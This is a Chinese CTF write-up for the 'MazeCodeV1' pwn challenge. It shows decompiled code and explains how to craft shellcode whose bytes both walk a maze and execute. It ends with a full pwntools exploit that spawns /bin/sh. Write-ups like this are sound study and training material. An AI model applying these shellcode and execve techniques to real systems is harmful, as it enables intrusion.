2024 京麟ctf -MazeCodeV1

文章目錄

  • 檢查
  • 代碼
  • 思路
  • 一個字節的指令
  • 注意
  • 附上S1uM4i佬們的exp

https://www.ctfiot.com/184181.html

檢查

在這里插入圖片描述

代碼

__int64 __fastcall check_solve(char *a1)
{__int64 result; // rax__int64 v2; // rax__int64 index_step; // rax__int64 v4; // rax__int64 v5; // rax__int64 v6; // raxchar *map; // [rsp+0h] [rbp-190h]int v8; // [rsp+Ch] [rbp-184h]__int64 v9[2]; // [rsp+20h] [rbp-170h] BYREF__int64 now_position; // [rsp+34h] [rbp-15Ch]int change_x; // [rsp+3Ch] [rbp-154h]int change_y; // [rsp+40h] [rbp-150h]char opcode; // [rsp+47h] [rbp-149h]__int64 v14; // [rsp+48h] [rbp-148h] BYREF__int64 v15[2]; // [rsp+50h] [rbp-140h] BYREF__int64 last_position; // [rsp+64h] [rbp-12Ch]int v17[5]; // [rsp+6Ch] [rbp-124h] BYREFchar map_step[264]; // [rsp+80h] [rbp-110h] BYREFchar *v19; // [rsp+188h] [rbp-8h]v19 = a1;memset(map_step, 0, 0x100uLL);v17[0] = 0;v17[1] = 0;v17[2] = 1;v17[3] = 2;v17[4] = 3;last_position = 0x100000001LL;                // 初始位置1,1v15[1] = (__int64)a1;v15[0] = std::string::begin((__int64)a1);v14 = std::string::end(a1);while ( 1 ){result = __gnu_cxx::operator!=<char *,std::string>(v15, &v14);// 判斷操作是否結束if ( (result & 1) == 0 )return result;opcode = *(_BYTE *)__gnu_cxx::__normal_iterator<char *,std::string>::operator*(v15);// 迭代遍歷操作if ( (unsigned __int64)v17[0] >= 0x100 ){v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Too Long Solution!");return std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);}change_y = 0;change_x = 0;switch ( opcode & 3 ){case 0:change_x = -1;break;case 1:change_y = 1;break;case 2:change_x = 1;break;case 3:change_y = -1;break;default:break;}HIDWORD(now_position) = change_y + HIDWORD(last_position);// 高32位表示y坐標。低32位表示x坐標LODWORD(now_position) = change_x + last_position;if ( !(unsigned int)IsInBounds(change_y + HIDWORD(last_position), change_x + (int)last_position) ){v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Out-Of-Bound Detected!");return std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);}index_step = v17[0]++;map_step[index_step] = opcode;map = grid;v8 = map[(int)XYToIndex(SHIDWORD(now_position), now_position)];if ( v8 == '#' ){v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Wall Hit!");return std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);}if ( v8 == 'T' ){v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Congratulations!");std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);v9[0] = (__int64)map_step;v9[1] = (__int64)v17;check_solve(std::string)::$_0::operator()(v9);}else{last_position = now_position;             // 更新當前坐標}__gnu_cxx::__normal_iterator<char *,std::string>::operator++(v15);// 下一個操作}
}
最后達到指定位置會執行
__int64 __fastcall check_solve(std::string)::$_0::operator()(__int64 *a1)
{__int64 v1; // raxchar *addr; // [rsp+8h] [rbp-38h]addr = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);if ( addr != (char *)-1LL ){*(_WORD *)addr = '1H';addr[2] = '\xC0';memcpy(addr + 3, (const void *)*a1, *(int *)a1[1]);mprotect(addr, 0x1000uLL, 5);__asm { jmp     rax } }v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Bad mmap()");return std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}

IDA中存在地圖字符串,然后由于是行列為42的正方形地圖,根據地圖得到最后的路線,然后根據路線需要的指令得到合適的指令字節

思路

  1. 尋找合適的指令使得其構成的字節碼的低三位能夠滿足最后到達T位置
  2. 該指令能夠getshell
  3. 然后最后到達T位置會調用該指令即可getshell

這里將/bin/sh作為系統調用輸入是作為指令部分不知道mmap起始地址,并且也不好繞過操作碼部分。所以關鍵就是系統調用read和系統調用execve,想想好基本gadget然后變化符合到繞過

一個字節的指令

push pop xchg

注意

asm使用時,對應的匯編指令要有換行符號,不然連著兩個指令在一行會出現問題

在這里插入圖片描述
"SPL"通常指的是寄存器esp(棧指針寄存器)

在這里插入圖片描述

在這里插入圖片描述

附上S1uM4i佬們的exp

from pwn import *def rep(s):return s.replace("2", " xchg esi,eax\n").replace("3", " xchg ebx,eax\n").replace("1", " xchg ebp, eax\n").replace("0", " nop\n")def rep2(s):return s.replace("2", " push rdx\n").replace("3", " push rbx\n").replace("1", " push rcx\n").replace("0", " nop\n")context.arch = "amd64"sc1 = '''xchg   ecx,eax
xchg   ecx,eax
xchg   ecx,eax
xchg   ecx,eax
xchg   edx,eax
mov esp, 0x404e02 
xchg   edx,eax'''
sc2 = b'\x40\xFE\xCC\x92\x40\xFE\xCC'  #減小棧頂的值
sc3 = '''xchg   edx,eax
push rsp
pop rdx
push rsp
pop rsi
push rdx
pop rcx                                                                                      
syscall\n''' + rep('1001122112211001111221122221122222211001111221122110011000000110000110000112222222') + ' mov bx,0x6873\n' + rep('22222332211223333223322221122333322111122110011112222330') + ''' 
xchg   edx,eax  
xchg   edx,eax
xchg   edx,eax
xchg   ecx,eax
pop    rdi
pop rcx
pop rcx
push rdx
push rdx
push rdx
push   0x3b\n''' + rep('3003322') + 'pop   rax\n' + rep2('222111') + 'syscall\n xchg   ecx,eax'
# mov bx,0x6873只是滿足字節碼要求而已
p = process("./pwn")
#p = remote("116.198.74.135", 39659)
sc = asm(sc1) + sc2 + asm(sc3)
for i in sc:print(str(i&3), end="")
print()
gdb.attach(p, "b *0x401744")
pause()
# sleep(1)
p.sendline(sc)
sleep(1)
p.sendline(cyclic(999).replace(b'aaaabaaa', p64(0x404dd0)).replace(b'eaaafaaa', b'/bin/sh\x00'))
#輸入的前八個字節是p64(0x404dd0),第16個字節后是b'/bin/sh\x00'  cyclic有一定規律
p.interactive()

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/19139.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/19139.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/19139.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

vb.net,C#強制結束進程,“優雅”的退出方式

在VB.NET中&#xff0c;Application.Exit()和Environment.Exit(0)都用于結束程序&#xff0c;但它們的使用場景和背后的邏輯略有不同。 **Application.Exit()**&#xff1a; Application.Exit()通常用于Windows Forms應用程序中。當調用Application.Exit()時&#xff0c;它會觸…

cocos 屏幕點擊坐標轉換為節點坐標

let scPos event.getLocation(); let camera find(Canvas/Camera).getComponent(Camera).screenToWorld(new Vec3(scPos.x,scPos.y,0));//攝像機 let p this.node.getComponent(UITransform).convertToNodeSpaceAR(camera);//this.node為指定的節點為原點&#xff08;0,0&…

MVC架構中的servlet層重定向404小坑

servlet層中的UserLoginServlet.java package com.mhys.servlet; /*** ClassName: ${NAME}* Description:** Author 數開_11* Create 2024-05-29 20:32* Version 1.0*/import com.mhys.pojo.User; import com.mhys.service.UserService; import com.mhys.service.impl.UserSer…

Unix環境高級編程--8-進程控制---8.7函數waitid 8.8函數wait3 wait4

1、Single Unix Specification支持一個取得進程終止狀態的函數--waitid&#xff0c;此函數類似于waitpid&#xff1a; pid_t wait(int *status); pid_t waitpid(pid_t pid, int *status, int options); int waitid(idtype_t idtype, id_t id, siginfo_t *infop, int options); …

MySQL之創建高性能的索引(六)

創建高性能的索引 選擇合適的索引列順序 當使用前綴索引的時候&#xff0c;在某些條件值的基數比正常值高的時候&#xff0c;問題就來了。例如&#xff0c;在某些應用程序中&#xff0c;對于沒有登錄的用戶&#xff0c;都將其用戶名記錄為"guest"&#xff0c;在記錄…

【axios】的淺度分析

一、Axios的攔截器能干些什么&#xff1f; Axios攔截器的實現原理主要涉及兩個方面&#xff1a;請求攔截器和響應攔截器&#xff0c;它們分別在請求發送前和響應返回后進行預處理和后處理。 Axios內部維護了兩個數組&#xff0c;一個用于存儲請求攔截器&#xff0c;另一個用于…

數據庫基礎+增刪查改初階

數據庫基礎增刪查改初階 一。數據庫操作 1.概念&#xff1a; 一個mysql服務器上有很多的表&#xff0c;把有關系的表放在一起就構成了一個數據集合&#xff0c;此時稱為“數據庫”&#xff0c;一個mysql1服務器上可以有多個這樣的數據庫 2.創建數據庫&#xff1a; create …

穩住!一招制勝:打造JavaScript防抖函數的終極指南【含代碼示例】

穩住&#xff01;一招制勝&#xff1a;打造JavaScript防抖函數的終極指南【含代碼示例】 防抖函數&#xff1a;概念與作用基礎實現&#xff1a;案例一簡單防抖函數使用示例 進階功能&#xff1a;案例二 - 立即執行版本性能優化與安全考量實戰技巧與問題排查實際問題與解決方案結…

基于python flask的旅游數據大屏實現,有爬蟲有數據庫

背景 隨著旅游行業的快速發展&#xff0c;數據在旅游決策和規劃中的重要性日益凸顯。基于 Python Flask 的旅游數據大屏實現研究旨在結合爬蟲技術和數據庫存儲&#xff0c;為用戶提供全面、實時的旅游信息展示平臺。 爬蟲技術作為數據采集的重要手段&#xff0c;能夠從各種網…

錯誤記錄:從把項目從Tomcat8.5.37轉到Tomcat10.1.7

錯誤信息&#xff1a;在本地Servlet項目里沒有報錯&#xff0c;但是瀏覽器跳轉該servlet時報錯 型 異常報告 消息 實例化Servlet類[com.wangdao.lx.MyServlet1]異常 描述 服務器遇到一個意外的情況&#xff0c;阻止它完成請求。 例外情況 jakarta.servlet.ServletExceptio…

Generative Action Description Prompts for Skeleton-based Action Recognition

標題&#xff1a;基于骨架的動作識別的生成動作描述提示 源文鏈接&#xff1a;https://openaccess.thecvf.com/content/ICCV2023/papers/Xiang_Generative_Action_Description_Prompts_for_Skeleton-based_Action_Recognition_ICCV_2023_paper.pdfhttps://openaccess.thecvf.c…

解決文件傳輸難題:如何繞過Gitee的100MB上傳限制

引言 在版本控制和代碼托管領域&#xff0c;Gitee作為一個流行的平臺&#xff0c;為用戶提供了便捷的服務。然而&#xff0c;其對單個文件大小設定的100MB限制有時會造成一些不便。 使用云存儲服務 推薦理由&#xff1a; 便捷性&#xff1a;多數云存儲服務如&#xff1a; Dro…

現代操作系統上創建各類鏈接的方法匯總

文章目錄 現代操作系統上創建各類鏈接的方法匯總windows: cmd下的mklink創建鏈接示例 powershell 創建鏈接創建常規文件和目錄創建鏈接 linux shell 創建硬鏈接NAMESYNOPSIS詳細說明常用選項示例 檢查與辨識符號鏈接&#x1f388;linux下檢查ls -l 命令file 命令 windows下檢查…

零基礎學習圖生圖

目錄 一、圖生圖是什么二、安裝秋葉整合包2.1 秋葉包安裝2.2 秋葉包拓展安裝&#xff1a;2.3 ckpt配置&#xff1a;2.4 界面常用功能配置&#xff1a; 三、圖生圖基本功能展示3.1 圖生圖的界面3.2 重要的參數設置&#xff1a;3.3 涂鴉功能3.4 局部重繪功能3.5 涂鴉重繪3.6 上傳…

SQL 語言:存儲過程和觸發器

文章目錄 基本概述創建觸發器更改和刪除觸發器總結 基本概述 存儲過程&#xff0c;類似于高階語言的函數或者方法&#xff0c;包含SQL語句序列&#xff0c;是可復用的語句&#xff0c;保存在數據庫中&#xff0c;在服務器中執行。特點是復用&#xff0c;提高了效率&#xff0c…

網絡智能化的發展對仿真環境的需求

1. 網絡智能化背景介紹 1.1 什么是網絡智能化 網絡智能化是指利用人工智能&#xff08;AI&#xff09;、機器學習&#xff08;ML&#xff09;、優化算法等技術來實現網絡的信息化、自動化和智能化。相對5G、6G、算力網絡等領域&#xff0c;網絡智能化是針對網絡全場景、全要素…

使用C語言openssl庫實現 RSA加密 和 消息驗證

Q&#xff1a;什么是RSA&#xff1f; A&#xff1a;RSA&#xff08;Rivest-Shamir-Adleman&#xff09;是一種非對稱加密算法&#xff0c;是最早的一種用于公開密鑰加密和數字簽名的算法。它使用一對公鑰&#xff08;public key&#xff09;和私鑰&#xff08;private key&…

去掉macOS終端命令行前的(base)

macOS在安裝了Anaconda&#xff08;或miniconda&#xff09;后&#xff0c;每次打開terminal都會默認打開名為base的虛擬環境。 默認不啟動base conda config --set auto_activate_base false默認啟動base conda config --set auto_activate_base true

IEEE Latex模版踩雷避坑指南

參考文獻 原Latex模版 \begin{thebibliography}{1} \bibliographystyle{IEEEtran}\bibitem{ref1} {\it{Mathematics Into Type}}. American Mathematical Society. [Online]. Available: https://www.ams.org/arc/styleguide/mit-2.pdf\bibitem{ref2} T. W. Chaundy, P. R. Ba…

【前端每日基礎】day27——小程序開發

小程序開發詳細介紹 基本概念 小程序&#xff1a;小程序是一種無需下載安裝即可使用的應用。用戶通過微信搜索或掃描二維碼即可打開小程序。小程序具有觸手可及、用完即走、體驗良好的特點。 組成部分&#xff1a; WXML&#xff1a;用于描述頁面的結構。 WXSS&#xff1a;用于…